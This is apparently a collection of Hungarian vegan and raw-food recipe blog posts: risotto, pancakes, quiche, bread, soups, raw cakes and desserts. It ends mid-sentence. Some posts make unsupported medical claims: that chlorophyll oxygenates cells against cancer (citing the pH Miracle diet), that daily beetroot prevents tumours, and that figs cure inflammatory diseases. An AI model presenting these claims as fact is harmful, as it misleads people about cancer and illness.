A fent leírtakra bizonyára nem is gondolunk, amikor elővesszük az éléskamránk polcáról a rizst, hogy különböző finom ételeket készítsünk belőle. Céklával párosítva rizottó készült belőle még októberben. Így lett vadászat a vörös októberre, jobban mondva rizottóra. ;)
Rizsültetést végez egy magyar férfi a fülöp-szigeteki asszony segítségével.
Teraszos rizsföldek
A recept:
Hozzávalók:
6-8 szem cékla meghámozva és felkockázva
2 marék rizs (nálam barna a nyerő)
só
kevés őrölt köménymag
3-4 gerezd fokhagyma
kurkuma
2 dl növényi tej
sörélesztő-pehely (opcionális)
újhagyma (opcionális)
Elkészítés:
Az alaplevet a rizottóhoz egyszerűen elkészítjük. A fokhagymákat kisebb darabokra vágjuk, sót, és kurkumát adunk hozzá (ez festi sárgára, de használhatunk helyette sáfrányt is), ezt rövid idő alatt összefőzzük kb. 3-4 dl vízzel. (Épp, hogy kicsit forrjon.) Míg felforr, a rizst átmossuk, megpirítjuk (teflon bevonat esetén nem kell olaj, vagy kókuszzsír). Majd az alaplével felöntjük a rizst. Ha szükséges, még tehetünk hozzá kurkumát. Szép sárga színt ajándékoz neki. Míg a rizs fő, egy kevés vízen, némi sóval vagy ételízesítővel megpároljuk a felkockázott céklákat, majd felöntjük növényi tejjel és szintén némi felaprított vagy összenyomott fokhagymát adunk hozzá. Amikor a rizs már puhul, az utolsó 10 perc főzésre összekeverjük a zöldséget a rizzsel. Amennyiben szükséges, még sózhatjuk. Tálalásnál sörélesztő-pehellyel és újhagymával kínálva még ízletesebbé tehetjük.
Vegán almás fahéjas palacsinta juharsziruppal
2013. november 10. Zizi kalandjai
Hol vannak már a jó kis palacsintás vasárnapi reggelik? Egyszerűen nem jut most idő ilyenre, mert van egy örökmozgónk, aki állandó figyelmet követel és hiába kuktáskodik már mellettem 4 hónapos kora óta , azért annyira még nem érdeklődik a főzés iránt, hogy órákat töltsön velem a konyhában. Naponta egy alkalommal tudok főzni/sütni vagy ebédre vagy vacsorára és többnyire valami egyszerűt dobok össze az éppen rendelkezésre álló alapanyagokból. Így született már gombapörkölt brokkolival extrázva vagy megmaradt brokkolis paradicsomos szósz tükörtojással vega pecsenyezsíros pirítóssal és sok-sok nyers zöldséggel; ha van sült sütőtök, akkor percek alatt összedobok egy sütőtökös póréhagymás tésztát vagy az egyik kedvencem a pirított fokhagymás tofu kockák rizzsel és valamilyen zöldséggel tálalva. Igen, a kombinációk tárháza kifogyhatatlan! A lényeg az egyszerűségen és a gyorsaságon van.
Remélem hamarosan visszatérhetek a konyhába több időre, akár, hogy palacsintát süssek… addig pedig marad a villámgyorsan elkészíthető és isteni finom mandulavajas zabkása. Ez most a hetente többször előforduló favorit reggeli. Ez azért is jó, mert a zab főleg téli eledel melegítő hatása miatt (és egy kis melegség nem árt most testnek és léleknek), anyatej serkentő hatásáról nem is beszélve (szoptatós anyukáknak kötelező)!
Szóval ez az almás fahéjas palacsinta még korábban készült, amikor készültem előre, hogy a blogon mindig legyenek új receptek, akkor is, amikor kevesebb időm marad a főzésre. Ugyanúgy, mint a többi palacsinta recept, nem bonyolult elkészíteni, tehát adjatok neki egy esélyt jövő hétvégén. Ja, a tésztáját csak az alma édesíti, szóval cukormentes is!
Vegán almás fahéjas palacsinta juharsziruppal
Hozzávalók kb. 10 db-hoz:
- 1 bögre teljeskiörlésű tönkölyliszt
- 1/2 bögre és 2 evőkanál tönköly fehérliszt
- 1 és 1/2 evőkanál foszfátmentes sütőpor
- 1/2 teáskanál fahéj
- 1 és 1/2 bögre zabtej (rizstej, mandulatej, szójatej is használható)
- 2 evőkanál kókuszolaj
- 1 közepes alma, reszelve
- csipet só
- juharszirup
Egy tálban keverjük össze a száraz hozzávalókat: lisztek, sütőpor, fahéj, só. Egy másikban pedig a nedves hozzávalókat: zabtej, kókuszolaj, reszelt alma. Öntsük a nedves hozzávalókat a szárazhoz és keverjük addig, amíg sima, sűrű tésztát kapunk (ha túl sűrűnek találjuk, hígítsuk egy kevés zabtejjel). Hagyjuk 5 percet állni, hogy a tészta megkeljen.
Tegyünk egy kevés kókuszzsírt a teflonserpenyőbe és forrósítsuk fel. Kisebb adagot kanalazunk (2 adag is mehet egyszerre) a palacsinta tésztából a serpenyőbe, közepes lángon sütjük az egyik oldalukat, amíg aranybarnák lesznek. Megfordítjuk és a másik oldalukon is sütjük 1-2 percig. Tálaljuk juharsziruppal meglocsolva.
A vegán zöldséges pite, vagy quiche, és egy szülinapi buli:)
A hétvégén ünnepeltük a férjem szülinapját családi körben (közel 20-an nálunk:)), és az elmúlt években ez már rendszeresen úgy alakult, hogy a húsos ételeket egy kedves ismerős néni készíti, a többi pedig vegán, amit én csinálok nagyrészt. Ennek a délutáni zsúrnak volt része ez a zöldséges pite is, ami áttörő sikerű volt nálam!:) Mert hogy évek óta kerestem egy olyan tojásmentes pite receptet, ami nem túl száraz, hanem valamennyire vissza tudja adni a hagyományos piték állagát és némileg ízvilágát (illetve azt a tojásos ízt valójában már régóta nem keresem, és ez annál sokkal finomabb is volt!:). Jelentem, a jelenlegi állás szerint nálam ez eddig a tuti befutó!! Állagra, ízre is nagyon jó volt! Gyorsan fel is teszem ide a receptjét, mert nagy családi és társasági összejöveteleken igen jól jönnek az ilyen jellegű piték! Ja, és most először használtam fekete sót, melyből mint kiderült egy másik fajtát kellett volna vennem... Én egy sima növényi színnel feketére színezett tengeri sót vettem. Ezzel szemben, a vegán konyhában az enyhén tojásos ízt keltő fekete sót, az indiai Kala Nemak sót szokták használni. A szülinapi buli menüje pedig ez volt vegánban:) Nem maradtunk éhesek...!:))) A képen balról felfelé: - nyers zöldségek mártogatósnak - kukorica csipsz és barna kenyér ropogósok - avokádókrém - csírák - tepsiben sült zöldségek - rukkola saláta + vegyes zöld saláta - vegán francia saláta - zöldséges vegán pite - paprika szószos zöldséges rétes - Greta Stohr tofus cannellonija, amit a húgom készített, az még nem volt rajta a képen:) A pitét egyébként bármilyen zöldséggel készíthetitek szerintem, én is lecseréltem az eredeti karfiolt brokkolira. Vegán zöldséges pite, vagy quiche (tej- és tojásmentes) Hozzávalók: 1 cs. tej- és tojásmentes leveles tészta (pl. Tante Fanny), vagy teljes kiőrlésű leveles tészta házilag ITT 300 g karfiol, kis rózsákra szedve 2 tk. olaj 1/4 tk. tengeri só 1 közepes vöröshagyma, finomra aprítva 1 közepes piros kaliforniai paprika, felaprítva 1 közepes zöld kaliforniai paprika, felaprítva A pite krémes részéhez: 105 g csicseriborsó liszt 600 ml víz 1 bio zöldségleves kocka (pl DM-es) 1/2 tk. zsálya 1/2 tk. kurkuma 3 ek. élesztőpehely 1/2 tk fekete só (Kala Nemak típusú), ha nincs, akkor sima tengeri sóból 1/4 tk. Egyéb hozzávaló: 4-5 szelet paradicsom a díszítéshez olvasztott bio növényi margarin, vagy kókuszzsír Melegítsük elő a sütőt 200 fokra. Tegyünk egy lábasba 1 tk. olajat, és 1/4 tk sót, keverjük össze, és öntsük a karfiolra. Egy sütőpapírral bélelt tepsire öntsük rá az olajos-sót karfiolt, és süssük a sütőben 15-20 percig, amíg megpuhul. Vegyük ki és tegyük félre. Miközben sül a karfiol, tegyük a másik teáskanál olajat egy lábasba, és pirítsuk meg rajta a hagymát egy csipet sóval, kb. 3-4 percig. Adjuk hozzá a paprikát, és alacsony tűzön süssük még 7-8 percig, amíg a paprika is megpuhul. Tegyük félre. Egy kiolajozott piteformába terítsük ki a tésztát, szurkáljuk ki villával az alját, és vaksütéssel süssük 15 percig. A pite krémes részéhez egy tálban keverjük össze a csicserilisztet 250 ml vízzel. Egy magas falú lábasban tegyük fel forrni a maradék vizet a zöldségleves kockával, az élesztőpehellyel, a kurkumával, zsályával és a fekete sóval. Amikor forrni kezd, lassan, állandó keverés közben adjuk hozzá a csicseris keveréket. Ha már jól elkeveredett, akkor alacsonyabb tűzön, folyamatosan keverve, még főzzük 2-3 percig, amíg elkezd besűrűsödni. Tegyük bele a karfiolt és a zöldségeket, és jól keverjük össze. Egy elég sűrű masszát kapunk, amit öntsünk rá az elősütött tésztára, és díszítsük a paradicsom karikákkal. Tegyük be a sütőbe 20 percre. Utána vegyük ki a sütőből, öntsük rá az olvasztott növényi margarint, és tegyük vissza a sütőbe még 5 percre. Sütés után, fogyasztás előtt hűtsük ki teljesen. Tálalhatjuk hidegen, vagy melegen is. Ha melegen tálaljuk, akkor először hűtsük ki teljesen, és fogyasztás előtt 5 percre melegítsük fel a sütőben. Forrás és fázisfotók ITT!
Datolyás omlós keksz
2013. november 6. Mindennapi ételeink
Két etetés közben volt egy kis időm begépelni egy nagyon finom receptet. :-) Omlós csemege a téli hideg napokra. Hozzávalók: 15 dkg finomliszt 15 dkg durumliszt 15 dkg kókuszzsír 10 dkg xilovit 1 ek. méz 1 csipet só 2 tk. foszfátmentes sütőpor -- 30 dkg aszalt datolya 10 dkg aszalt vörösáfonya 1 alma 2 ek. datolyaszirup Elkészítés: A tészta hozzávalóiból tésztát gyúrunk, és hűtőbe tesszük, kb. 30 percre. Ez idő alatt elkészítjük a tölteléket: a datolyát és a vörösáfonyát is kelyhes turmixba tesszük, és alaposan összeturmixoljuk. Hozzáadjuk a datolyaszirupot (vagy mézet), ill. az előzőleg meghámozott és megpárolt almát. Összekeverjük. A tésztát lisztezett felületen kinyújtjuk, és kb. 4 ujjnyi csíkokat vágunk belőle. Ezeknek a csíkoknak a közepére kenünk a datolyás krémből, majd a tészta két oldalát felhajtva "összecsomagoljuk" őket. Széltében 2 ujjnyi darabokat vágunk és sütőpapírral bélelt tepsibe a tészta összeillesztés alulra téve betesszük. 175 fokon 15-20 perc alatt kisütjük.
Harmonika kenyér
Sokféle módon készítik a "harmonikás" péksütiket. Én egy egyszerűbb, kevésbé időigényes, de mégis kissé különleges formába próbáltam hozni. Férjemnél sikert aratott, s rögtön követelte, hogy ezután csak így szeretné, hogy a kenyeret süssem. Azóta aztán már újra megcsináltam. A jó benne az, hogy nem kell hozzá kés, pláne nem kenyérvágó (oké, nem nagy szám, csak érdekesség), mert ha jól állítjuk össze, akkor a "kenyérszeleteket" csak úgy, egymásról le lehet húzni. Jöhet rá a pástétom, és már fogyasztható is. Igaz, én pástétom helyett házi olíva olajjal ettem, amit még Horvátországból hoztunk. Egyszerűen annyira tömör íze van, hogy nem versenyezhet vele egyetlen bolti termék sem. Ez tényleg házi sajtolású. Egy idős nénitől vettem kinn, de ha legközelebb eljutok oda, biztos, hogy "bespájzolok". Annyira finom íze van, hogy vétek ételbe főzni. Legszívesebben "mártogatok" belőle. Erre kifejezetten alkalmas ez a harmonika kenyér.
A recept:
Hozzávalók:
- 2,8 dkg friss élesztő
- 3,5 dl meleg víz
- 20 dkg teljes kiőrlésű búzaliszt
- 35 dkg fehér liszt (BL-55)
- 5 dkg őröl lenmag (elhagyható, helyette liszt vagy sörélesztőpehely is alkalmas)
- 2 evőkanál olaj
- 1 dkg só
- magvak (a kenyér tetejére - opcionális)
- margarin vagy kókuszzsír
Elkészítés:
A kenyérsütő üstjébe belemorzsoljuk az élesztőt, majd ráöntjük a meleg (de nem forró!) vizet.
Sokak szerint kell hozzá valami édes dolog is. Mint például egy kiskanál méz, vagy cukor. Régen én is raktam az élesztőre mézet, vagy biocsicsókát, azonban láttam egy rövidebb filmet (Ízes hagyományok), ahol falusi asszonyok sütöttek kenyeret, és legfeljebb sót adtak az élesztőhöz és a vízhez, de cukrot semmiféleképpen nem. Azóta édesítő nélkül készítem a kenyeret.
Várunk egy rövid ideig, míg az élesztő feloldódik. Ha cukrot, vagy mézet is raktunk hozzá, akkor az élesztő a víz felszínére kel. Nálam ennek hiányában csak feloldódik.
Közben elővesszük a többi hozzávalót.
Mikor feloldódott az élesztő, a fenti sorrendben hozzáadjuk a többi anyagot is.
Beletesszük a kenyérsütő gépbe és kiválasztjuk azt a programot, amivel a tésztát összekeveri, megdagasztja, megkeleszti. Nekem "dough" a program neve, és másfél óra alatt a nyers tészta szép nagyra fel is dagad. Amennyiben nincs kenyérsütő gépünk (valaha nekem sem volt), akkor addig gyúrjuk a kezünkkel a tésztát, míg hólyagocskák nem jelennek meg a tésztában, majd letakarva meleg helyen kelesztjük kb. 30-45 percet.
Előveszünk egy kerek edényt. (Én kerámiatálat választottam legutóbb, de első körben jénai tállal dolgoztam.) Margarinnal vagy kókuszzsírral kikenjük az oldalát és az alját is. Kevés liszttel meghintjük a kikent formát. Így biztosítjuk, hogy sikerüljön egybe kiszedni a kenyeret. (Sütőpapírral is dolgozhatunk.)
A megkelt tésztát téglalap alakúra nyújtjuk és mint a pogácsák tésztáját, mindig félbe, majd megint félbe hajtjuk. Kinyújtjuk. A végső műveletként egy hosszú (már félbehajtott) téglalap alakú tésztát kell kapjunk, amit a téglalap közepén elvágunk. Így két egyenlő téglalapunk lesz. Ezeket szintén egyenlő szélességű (max. fél-1 cm) csíkokra felvágjuk. Ezeket a csíkokat szintén megkenjük kókuszzsírral vagy olvasztott margarinnal. Így tesszük egymás tetejére. Amikor néhány már egymáson helyezkedik el, az előre elkészített sütőtálba fektetjük. Mindezt a műveletet addig folytatjuk, míg az összes tészta el nem fogy. A tetejét megszórhatjuk magokkal. Letakarva meleg helyen kb. fél órát kelesztjük.
Sütés előtt egy kevés vízzel megspricceljük, majd sütőbe tesszük - közepes lángon, vagy 180 fokon megsütjük. Kb. 35 perc sütés után finom, ropogós szélű, puha belsejű kenyeret kapunk.
Ha kihűlt, már fogyaszthatjuk is. Akár magában, vagy valamilyen pástétommal megkenve.
Zöld tej
2013. október 26. Fittanyuka Blog
Többször írtam már arról, hogy a zöldek, a klorofill milyen fontos egészségünk szempontjából. Nemcsak lúgosítják szervezetünket, hanem nagyon sok élő enzimet, vitamint, ásványi anyagot tartalmaznak, továbbá ami a legfontosabb, hogy oxigénnel töltik fel sejtjeinket. Ez azért lényeges, mert a rákos sejtek oxigén szegény környezetben szaporodnak. Az alábbi recept egy krémesebb változat, tejszerű. Azoknak is ideális akik kicsit idegenkednek a turmixolt változattól. Továbbá a gyerekek is szívesebben megisszák. Nekik édesebb változatban is készíthetjük. Pl: 1-2 db almával, vagy 1 db banánnal. Növényi tej: a legfinomabb hozzá a mandulatej, vagy kókuszkrém. Ezeket házilag is elkészíthetjük ha van időnk, ugyanis így még élőbb az italunk. Ha nincs akkor készen kapható mandulatejjel, vagy kókuszkrémmel is működik. Hozzávalók: 4 főre 2 db kígyóuborka 2 db szál zeller 2-3 marék friss spenót levél 4 pohár mandulatej ( kb. 200 ml / pohár) vagy 400 ml kókuszkrém, kókusztejszín 200 ml víz vagy a növényi tej elkészítése házilag: recept késhegynyi őrölt gyömbér, vagy őrölt szerecsendió, vagy fahéj vagy Botanical infusion - revitalise (by Oriflame) A zöldeket most nem turmixoljuk hanem présgép segítségével lepréseljük. Ha nincsen gyümölcs centrifugánk, akkor kevés vízzel összeturmixolhatjuk, majd nylon harisnya segítségével átszűrjük. Utána már csak annyi a dolgunk, hogy összekeverjük, akár turmixolhatjuk a mandulatejjel vagy kókusztejszínnel. Mint már említettem gyerekeknek készíthetjük édesebben, ebben az esetben alma levet is préselünk a zöld levekhez, vagy utólag amikor összeturmixoljuk hozzáadunk egy banánt. Üvegbe töltve 1-2 napig hűtőben eláll, tovább már ne tároljuk. Minél frisebben fogyasztjuk annál értékesebb anyagok jutnak a szervezetünkbe! Zöld tej alaprecept forrás: Dr. Robert O. Young - pH Csoda Fittanyuka
Tökös- almás torta a ZÖLD TURMIX FESZTIVÁLRÓL
2013. október 22. Nyers konyha
Tökös- almás torta a ZÖLD TURMIX FESZTIVÁLRÓL Idén is nagyon jó előadók voltak, a fesztiválon. Jó volt olyan emberekkel találkozni akik hasonlóan gondolkodnak, étkeznek... Ez mindig ad az embernek egy kis plusz energiát, lendületet, hogy tovább tudjon ezen az úton haladni. Gittával hoztuk össze ezt a tortácskát, ami látható kissé megfolyt, hűtő híján, de a visszajelzések szerint ez igazán nem számított, mert ugye lényeg a beltartalom és az finomra sikeredett, persze ilyen alapanyagokból nem nehéz :) Tökös -almás torta: Tészta: 80 gramm kókuszdara 70 gramm mák 70 gramm arany lenmag 140 gramm napraforgó kávéskanál vanília kávéskanál fahéj 2 citrom reszelt héja 12 darab datolya kb. 10 evőkanál víz csipet só 2 evőkanál méz vagy agávé szirup A magokat és a kókuszdarát is megőröljük kávédarálóban, vagy turmixgépben. S késes robotgéppel összedolgozzuk a többi hozzávalóval. Akkor jó a tészta ha kicsi gombócot tudunk belőle formálni, szépen összeáll. Ha szétesik, mehet még hozzá pici víz. Csatos formába nyomkodjuk. Tökös- almás töltelék: 6 közepes édes alma sütőtök, fele annyi, mint alma késhegynyi fahéj ízlés szerint édesíthető datolyával, ha nem elég édes az alma... 2- 3 evőkanál útifű maghéj 1 citrom reszelt héja csipet gyömbér vagy karika, ha friss Ha van elég erős turmixgép akkor ezt a masszát abban is el lehet készíteni, ha nincs akkor tökéletesen megfelel az s késes robotgép. Fahéj krém: 12 datolya 2-3 evőkanál kókusz zsír 2 banán 2 mokkáskanál fahéj Turmixoljuk vagy s késes robotgéppel elkeverjük és a torta tetejére öntjük. A fesztiválon mi ezt a réteget 3 evőkanál mézzel készítettük, mert a datolyánk elfogyott. Érdemes kicsit hűtőben pihentetni, hagyni , hogy megdermedjen a kókusz zsír és megszívja magát az útifű maghéj...
Fűszeres Céklakrémleves
2013. október 19. Fittanyuka Blog
Igazi őszi, melegítő leves, olyan fűszerekkel amelyek adnak neki egy kis keleti beütést és egyben melegítő hatásúak. Krémes állagát a kókusz tejszín adja. A cékla önmagában már egy flavonoid bomba és a szuper táplálékok közé sorolják. Napi szintű fogyasztásával megelőzhető a gyors öregedés és a daganatos betegségek, ugyanis magas az antioxidáns tartalma is. Igazi gyógyereje a piros színében van, amely egy festékanyag és koncentráltan tartalmazza ezeket az értékes flavonoidokat. Hozzávalók: 4 fő részére 4 db közepes cékla 2 db krumpli 1 db vöröshagyma 2 teáskanálnyi himalaya só 1/2 teáskanál őrölt fahéj 1/2 teáskanál őrölt szerecsendió 2-3 evőkanál nyírfacukor vagy kókusz cukor 1 evőkanálnyi kókusz olaj 200 ml kókusz tejszín 1-1,5 l víz A céklát, krumplit lehéjazzuk, felkockázzuk. A vöröshagymát szintén lehéjazzuk és felaprítjuk. Először a hagymát a kókusz olajon megdinszteljük, majd hozzáadjuk a krumplit, céklát, sózzuk és együtt pár percig fedő alatt pároljuk, majd felöntjük a vízzel, fűszerezzük és addig főzzük ameddig puhára nem fő a cékla és a krumpli. Lehúzzuk a lángról és keveset hagyjuk hűlni. Majd kézi botmixer segítségével krémesre mixeljük. Visszahelyezzük a lángra és hozzáöntjük a kókusz tejszínt, édesítjük a nyírfa vagy kókusz cukorral. Ízlés szerint még fűszerezhetjük a fenti fűszerekkel. Fittanyuka
Almás- tökös- mákos torta
2013. október 14. Nyers konyha
Sütire vágytam, így elkészítettem ezt az őszies hangulatú sütőtökbombát. Voltak nálunk vendégek, akik megkóstolták a tortát. Nekik teljesen új volt a nyers táplálkozás, így jól elbeszélgettünk a témáról és még a receptet is elkérték úgy ízlett nekik a süti:) Ja és zöld turmixot is itattam velük had szokják :) Almás- tökös- mákos torta: Alap: 80 gramm lenmag 100 gramm mák 1 evőkanál kókuszzsír 20 datolya kiskanál fahéj csipet só Mákot és a lenmagot megőröljük kávédarálóban, vagy akinek profi turmixgépe van az abban is őrölheti. Beleöntjük a robotgépbe a kimagozott datolyát a megőrölt mákot és lenmagot a többi hozzávalóval és jól összedolgozzuk. A kapott masszát, kicsi csatos forma aljába nyomkodjuk. Almás- tökös krém: 15 datolya 3 alma sütőtök kb. annyi, mint az alma darabka gyömbér, vagy szárítottból is jó egy késhegynyi 1 evőkanál kókuszzsír 1 narancs reszelt héja 1 kiskanál fahéj 2-3 evőkanál útifű maghéj Ha van profi turmixgépünk ami bírja a terhelést, akkor mindent beleönthetünk, és jól összedolgozzuk. Ha nincs akkor a robotgépünkbe jól összeaprítjuk a hozzávalókat, majd a csatos formába töltjük és elsimítjuk. Fahéj krém: 12 datolya 2- 3 evőkanál kókuszzsír 1 banán 2 mokkáskanál fahéj 3 evőkanál víz Ezt turmixgépben pépesre keverjük és a tortára simítjuk. Ha elég türelmesek vagyunk, érdemes a hűtőben pihentetni néhány órát, hogy szépen megdermedjen a kókuszzsír, és az útifű maghéj jól megzselésítse a krémet.
Vegán kókuszos "túrógombóc" datolyasziruppal
2013. október 8. Mindennapi ételeink
Laktózérzékenyeknek vagy vegánoknak különösen ajánlott, hiszen nagyon finom csemege. :) Hozzávalók: 20 dkg köles 1/2 l növényi tej 2 ek. kókuszolaj 10 dkg nyírfacukor 1/2 citrom héja és leve 10 dkg mazsola 10 dkg kókusz vaníliapor/vaníliás cukor -- datolyaszirup teljes őrlésű kenyérmorzsa Elkészítés: A növényi tejet felforraljuk, majd hozzáadjuk a kókuszolajat és a szitán átmosott kölest. Nyírfacukorral, mazsolával, kókusszal, citromhéjjal ízesítjük. Fedő alatt puhulásig főzzük, közben többször megkeverjük. Eközben a kenyérmorzsát zsiradék nélküli serpenyőben megpirítjuk. A kölest kihűtjük, majd gombócokat formálunk és beleforgatjuk a morzsába. Datolyasziruppal tálalva igazán különleges, egzotikus csemege.
Kókuszolajos sütőtök krémleves
2013. október 1. Mindennapi ételeink
Sokféleképp készülhet ez a finom leves, nekünk ez a kedvenc ízkombinációnk. Hozzávalók: 80 dkg sütőtök 2 közepes burgonya 2 ek. kókuszolaj 1 fej vöröshagyma 2 gerezd fokhagyma 1,5 dl Sojade bio szójadresszing 3-4 tk. borsikafű 2 tk. ételízesítő mix 1-1,5 víz --- 15 szezámmag Elkészítés: A sütőtököt,a vöröshagymát és a burgonyát meghámozzuk, felkockázzuk és egy edénybe tesszük, ételízesítővel, sóval megszórjuk, majd annyi vízzel meglocsoljuk, amennyi ellepi. Ekkor adjuk hozzá a kókuszolajat is. Puhulásig főzzük. Ezután felöntjük vízzel, hozzáadjuk a szójadresszinget (vagy más növényi tejszínt, tejfölt), fokhagymával és borsikafűvel ízesítjük. Az egészet összeturmixoljuk, és pár perc alatt összeforraljuk. Tipp: pirított szezámmaggal vagy tökmaggal, esetleg kenyérkockákkal tálaljuk.
Mogyorós Túrógombóc
2013. szeptember 28. Fittanyuka Blog
Ez a gombóc egy korábbi receptem újragondolva. Annyiban változott a recept, hogy nemcsak tej,-tojás,-cukormentes, hanem gluténmentes is. Nagyon finom, fogyaszthatjuk desszertként, vagy akár egy ebéd második fogásaként. A gyerekek imádni fogják:)! Hozzávalók: 150 g köles 80 g nyírfacukor 500 ml növényi tej 50 g bio margarin 1 db citrom lereszelt héja 1/2 citrom leve késhegynyi őrölt bourbon vanília Morzsa: 200 g török mogyoró 3-4 evőkanál kókusz cukor 1 tk bio margarin A kölest a nyírfacukorral, vaníliával együtt puhára főzzük a növényi tejben. Ha szükséges öntünk hozzá kevés vizet, hozzákeverjük a citromlevet, citrom lereszelt héját és a margarint. Lefedjük és hagyjuk teljesen kihűlni. Én előző este elkészítem és másnap már csak gombócokat formázok belőle. A mogyorót megőröljük és a bio margarinon kissé megpirítjuk. Vizes kézzel tetszőleges nagyságú gombócokat formázunk és meghempergetjük a mogyoró morzsában. Tálalás előtt megszórjuk a kókusz cukorral!Fittanyuka
Mangós – kókuszos – csokis krém
Mangós-kókuszos-csokis krém – egyik favorit pohárkrémem…
természetesen természetes alapanyagokból.
Minden réteg alapanyagát egyszerűen csak turmixolni kell.
A tetejét goji bogyóval és virágporral megszórva díszítettem.
- csokikrém: érett, puha avokádó, méz, kakaópor
- kókuszos krém: kesudió, víz, kókuszreszelék, méz, vanília por
- mangós krém: mangó, őszibarack, pici méz, pici citromlé
Mézes füge pohárdesszert
2013. szeptember 17. Fittanyuka Blog
Itt van a füge szezon és ez a gyümölcs annyira csábító, cukortartalom ide- vagy oda:)! A piacon vásárolt friss füge volt az alapja ennek a nagyon gyors és egyszerű desszertnek, amit egy kedves öreg nénitől vásároltunk. Tipp: A fügét sokan csak aszalt formában ismerik, pedig frissen is igazán élvezetes, édes gyümölcs. Gyógyhatása igen sokrétű, nemcsak szívünk jobb működését segíti, de emésztési, gyomorégési panaszok esetén is kiválóan alkalmazható. A füge tápértékét elsősorban káliumtartalma adja, de B-vitaminban és cinkben is gazdag. A benne lévő káliumnak köszönhetően elősegíti a vér tisztulását. A B-vitaminok az emésztést és a táplálék felszívódását segítik elő, a cink pedig prosztataproblémák esetén nyújthat enyhülést. Hűsít, és jó hatással van a légzőszervekre is. Gyógyítja a gyulladásos megbetegedéseket, csökkenti a vérzékenységet. Kiváló idegnyugtató tulajdonsága is ismert. Hozzávalók: 2-3 főre 6 szem füge 4-5 darab jégkocka 200 ml zab vagy kókusztejszín ízlés szerint édesíteni mézzel, akár elis hagyható mert önmagában mézédes 1/2 kávéskanál fahéj késhegyni őrölt kardamon kevés kókuszcukor a tetejére Nagyon egyszerű, a fügéket feldaraboljuk és a jégkockákkal, tejszínnel, fahéjjal, kardamonnal krémesre turmixoljuk, fagyis poharakba töltjük és fügével, diszítjük. ( én még szederrel díszitettem). A tetejét kókuszcukorral szórjuk meg. Fittanyuka
Tejszínes,- Kukoricás Lasagna
2013. szeptember 16. Fittanyuka Blog
...sok-sok zöldséggel gazdagítva, folytathatnám a recept címét. Ugyanis a kukorica csak egyik szereplője ennek a receptnek, gyakorlatilag annyi és olyan zöldségekkel gazdagíthatjuk amelyek a kedvenceink, vagy éppen rendelkezésünkre állnak. Nálam a spenót, padlizsán, gomba, hagyma, cukkini volt a választás. Ideális főétel, természetesen tej,-laktóz és mindenféle állati fehérje nélkül! Hozzávalók: 4 fő részére 8-9 db durum lasagna lap 200 g kukorica ( fagyasztottat használtam) 1 db kisebb cukkini 1 fej vöröshagyma 2 maréknyi friss spenótlevél 1/2 db padlizsán 200 g csiperke gomba Besamell mártáshoz: 2-3 evőkanál fehér tönkölyliszt vagy zabliszt 500 ml szójatej - édesítés nélküli! 1 evőkanál kókusz olaj 2 kk himalaya só késhegyni őrölt kardamon késhegynyi őrölt zöld bors 2 cikk fokhagyma A zöldségeket előkészítjük: a cukkinit, hagymát, gombát, padlizsánt vékony szeletekre vágjuk. Mindig kérdés, hogy a padlizsánt lehéjazzuk-e? A válaszom nem, a héja ehető, viszont aki nem szereti nyugodtan lehéjjazhatja. A kukoricát kevés vízzel és sóval puhára pároljuk, a spenótleveleket csak megmossuk. Elkészítjük a besamelt: A felmelegített kókuszolajon, alacsony hőfokon, vagy lángon a lisztet csomómentesre keverjük kézi habverő segítségével és állandó keverés mellett hozzáöntjük a hideg tejet. Addig kavarjuk ameddig besűrűsödik. Ízesítjük a kardamonnal, zöld borssal, fokhagymával. Egy tűzálló szögletes vagy téglalap alakú tálat kikenünk kevés olajjal és keveset öntünk a besamell mártásból erre rétegezzük a lasagne lapokat ( én olyat vásároltam amelyet nem szükséges előfőzni, ez fel van tüntetve a csomagoláson). Majd újabb besamell réteg következik és jöhetnek a zöldségek: kukorica, hagyma, stb. Újabb lasagne lapok következnek, most újra zöldségek és befejezésként, legvégén a besamell mártás. Előmelegített sütőben 180 C fokon 20-25 percig sütjük. Szeletelés előtt hagyjuk kicsit hűlni! Fittanyuka
Datolyás piskóta (vegán) kókuszhabos "banánsodóval"
2013. szeptember 9. Mindennapi ételeink
Amilyen gyorsan elkészül, épp annyira finom, mutatós és egészséges is ez a sütemény. A vegán piskóta citromhéjas zamata keveredik a datolyáéval, és mindehhez társul a banán öntet. Az öntetbe kevert kókuszhab pedig csak hab a tortán. :-) Hozzávalók (kisebb méretű tepsihez): 12 dkg finomliszt 13 dkg durumliszt 1 csomag foszfátmentes sütőpor 10 dkg nyírfacukor kb. 2,5 dl víz 1 citrom héja 6 ek. olaj -- 10 dkg datolya 5 dl banános Sojade szójajoghurt 2 dl Soyatoo kókuszhabkrém Elkészítés: A piskóta száraz összetevőit (lisztek, nyírfacukor, sütőpor, citromhéj) elkeverjük, majd hozzáadjuk a vizet, olajat. Alaposan elkeverjük és a lisztezett-olajozott (vagy sütőpapírral bélelt tepsibe tesszük. A tetejére félbevágott datolyát szórunk Előmelegített sütőben 170 fokon 25-30 perc alatt készre sütjük. Az öntetet így készítjük el ez idő alatt: a szójajoghurtot egy tálba öntjük, majd hozzákeverjük az előzetesen egy éjszakára hűtőbe tett, majd habverővel felvert kókuszhabkrémet. Citromfűvel vagy anélkül tálaljuk. :-)
Kókuszos tejberizzsel töltött ostyagolyók
Van egy köztársaság a Csendes Óceán térségében, amelyet 18 100-nál is több sziget alkot. További érdekessége, hogy ezek a szigetek az egyenlítő mindkét oldalán helyezkednek el. Ez a köztársaság nem más, mint a világ negyedik legnépesebb országa, Indonézia. Ugyan nem jártam még ott (sajnos), de valahol olvastam, hogy az indonéz emberek szerint annyi módon lehet a kókuszt felhasználni, mint ahány nap van egy évben. Természetesen ők nem csak az ételkészítés lehetőségeit tekintik felhasználásnak, hanem más alkalmak is adottak rá. A kókuszdió húsa, amellett, hogy rendkívül tápláló, pozitív hatással van a nemiségre is. A kókuszpálma rügyét zöldségként fogyasztják. Gyökereit népi gyógyászatban használják a dizentéria (vérhas) gyógyítására, héját fűtésre és hajfesték (fekete) készítésére is hasznosítják. Leveleit csónakok készítéséhez alkalmazzák (többek között), rostjaiból szőnyegeket, kosarakat, lábtörlőket fonnak, s ne feledkezzünk meg a matracok készítéséről se: "A kókuszrost szálai cellulóz alapú anyagból vannak, így könnyű és rugalmas. Mikor táblákba foglalják, ezekből a rostokból pár centis rétegeket fektetnek egymásra és latexszal permetezik be őket. Így a véletlenszerűen elhelyezkedett szálak még ruganyosabbá válnak. Az így kialakított matracszerkezet moly-, baktérium- és poratka-álló." (Kókuszmatrac készítése a Wikipédia szerint.) Mindezek tudatában mi is igazat adhatunk annak a mondásnak, miszerint, 